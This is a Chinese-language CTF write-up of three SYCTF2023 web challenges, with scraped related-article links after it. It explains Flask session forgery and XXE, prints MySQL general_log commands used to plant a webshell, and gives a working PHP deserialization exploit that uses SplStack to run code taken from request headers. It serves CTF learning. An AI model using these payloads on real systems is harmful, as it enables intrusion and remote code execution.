CarelessPy

一进来就是个任意文件下载功能,不过做了些限制,这题从头到尾都在骂杂鱼。。。(虽然我确实是(bushi)

查看页面源代码,给了个/eval /login 两个路由,/eval是个目录遍历,/login尝试登录无果,有session,应该需要伪造session,利用/eval查看app下的pyc文件,然后down下载

在线找个pyc反编译,成功拿到密钥

直接flask-session-manager伪造session,登录成功后拿到/th1s_1s_The_L4st_one 这个路由,访问查看,xml的页面,猜想存在xxe漏洞,抓个包分析分析,直接payload打,注意得加个Content-Type: text/xml 否则打不通

Confronting robot

这题给我ex坏了,第一个页面,myname参数存在注入,sqlmap一把梭

访问/sEcR@t_n@Bodyknow.php 测试发现这是个模拟sql命令行,可以执行sql命令,查看页面源代码发现game.php ,访问查看,猜拳10局,赢了就给flag,结果game表里没有数据,猜测是得我们插入数据来确保我们稳赢,查看当前用户是secret@localhost ,查看一下权限show grants for secret@localhsot,一看不知道一看吓一跳,基本没有权限,有个查询权限和创建用户权限,这还写个屁数据,这里折磨了一整天,想了一堆办法终无果,最终查看大佬方法,开启日志查询,写马getshell,额贼,佩服能想到的,先开启全局日志查询,然后设置当前文件为日志存储文件,这样只需select '',然后 蚁剑连接即可。记得把你的火绒关掉,要不然给拦截了

set global general_log='on'
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php'

查看game.php拿到flag

听说还有修改用户的玩法,有无大佬蕉蕉

4号的罗纳尔多

php审计,代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'givemegirlfriend!');
} else {
echo 'nonono';
}
}
} if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
unserialize($_GET['Pochy']);
} else {
echo 'nonono';
}

很经典不能O,a开头,那我们就C开头,不能有ArrayObject,啧,之前ctfshow学到的没用了,最终发现SplStack这个类也能用,然后就是绕__destruct,也就是只能使用[A-Za-z_\(\)],最后带个; 怎么把givemegirlfriend! 除掉是个问题,__halt_compiler(); 可以中断编译器的执行,不让eval解析后面的就行了,这里没法用引号,所以得构造无参rce,exp如下:

<?php
class evil
{
public $cmd="eval(end(getallheaders()));__halt_compiler();";
}
$a=new SplStack();
$a->push(new evil());
$b=serialize($a);
echo($b); // 注意得修改成符合C的格式,具体可以自己查资料
// C:8:"SplStack":84:{i:0;:O:4:"evil":1:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";};}

复现复现着环境没了,日。。。。,最终在本地打通。

SYCTF2023 WEB writeup的更多相关文章

  1. ISG 2018 Web Writeup

    作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...

  2. [SHA2017](web) writeup

    [SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...

  3. [WUST-CTF]Web WriteUp

    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...

  4. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  5. [MRCTF]Web WriteUp

    和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13  - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的 Ez_bypass 进入题目得 ...

  6. [易霖博YCTF]Web WriteUp

    中午队里师傅发到群里的比赛,借来队里师傅账号和队里其他师傅一起做了一下,ak了web,师傅们tql.学到挺多东西,总结一下. rce_nopar 进入题目给出源码: <?php if(isset ...

  7. [XNUCA 进阶篇](web)writeup

    XNUCA 靶场练习题writeup default 阳关总在风雨后 题目过滤很多,*,#,/ ,and,or,|,union,空格,都不能用 盲注,最后的姿势是:1'%(1)%'1 中间的括号的位置 ...

  8. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  9. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

  10. 2019全国大学生信息安全竞赛部分Web writeup

    JustSoso 0x01 审查元素发现了提示,伪协议拿源码 /index.php?file=php://filter/read=convert.base64-encode/resource=inde ...

随机推荐

  1. opencv-python 2 图像基本操作

    图像的基本操作 获取并修改图像的像素值 可以通过行和列的坐标值获取该像素点的像素值.对于BGR图像,它返回一个蓝色,绿色,红色值的数组.对于灰度图像,仅返回相应的强度值. 可以用同样的方法修改像素点的 ...

  2. abp(net core)+easyui+efcore实现仓储管理系统——ABP升级7.3上(五十八)

    Abp(net core)+easyui+efcore实现仓储管理系统目录 abp(net core)+easyui+efcore实现仓储管理系统--ABP总体介绍(一) abp(net core)+ ...

  3. 2.Web开发基础

    Web开发基础 目录 Web开发基础 1.网络基础 2.OSI模型 应用层: 表示层: 会话: 传输层: 网络层: 数据链路层: 物理层: 3.通信子网:(数据通信) 4.资源子网:(数据处理) 5. ...

  4. 这可能是最全面的Spring面试题总结了

    Spring是什么? Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架. Spring的优点 通过控制反转和依赖注入实现松耦合. 支持面向切面的编程,并且把应用业务逻辑和系统 ...

  5. Java 8新特性之 Optional 类

    前言 java.util.Optional 是java8中引进的一个新的类,我们通过Optional类的源码可以看到,该方法的作用可以对可能缺失的值进行建模,而不是直接将null赋值给变量. Opti ...

  6. Windows 下无法使用 C++11 标准 thread 类

    问题描述 最近需要在 windows 平台使用 C++ 多线程编程,编译时提示错误 thread is not a member of std, or you maybe forget '#inclu ...

  7. gs_probackup增量备份ptrack.cpp : 88

    问题描述:使用gs_probackup对opengauss进行增量备份失败[omm@testmysqldb04 ~]$ sh gs_probackup.sh incbackup pg_switch_x ...

  8. ORA-01093: ALTER DATABASE CLOSE only permitted with no sessions connected DG开启MRP失败

    问题描述:在10.2.0.5的备库中open状态下开启实时同步,开启失败.一直卡着,只能强制停止 SQL> alter database recover  managed standby dat ...

  9. RDIFramework.NET开发框架WinForm版新增编码管理

    1.概述 编码管理是企业管理和信息化建设过程中一个至关重要的环节.各信息化系统是通过编码来标识业务对象的,统一的编码方案可以作为各系统的通话语言,也可以为信息化系统的集成提供便利.建设数据编码的基本原 ...

  10. CSS页面布局方式

    css页面布局方式 1.标准流 <!DOCTYPE html> <html lang="en"> <head> <meta charset ...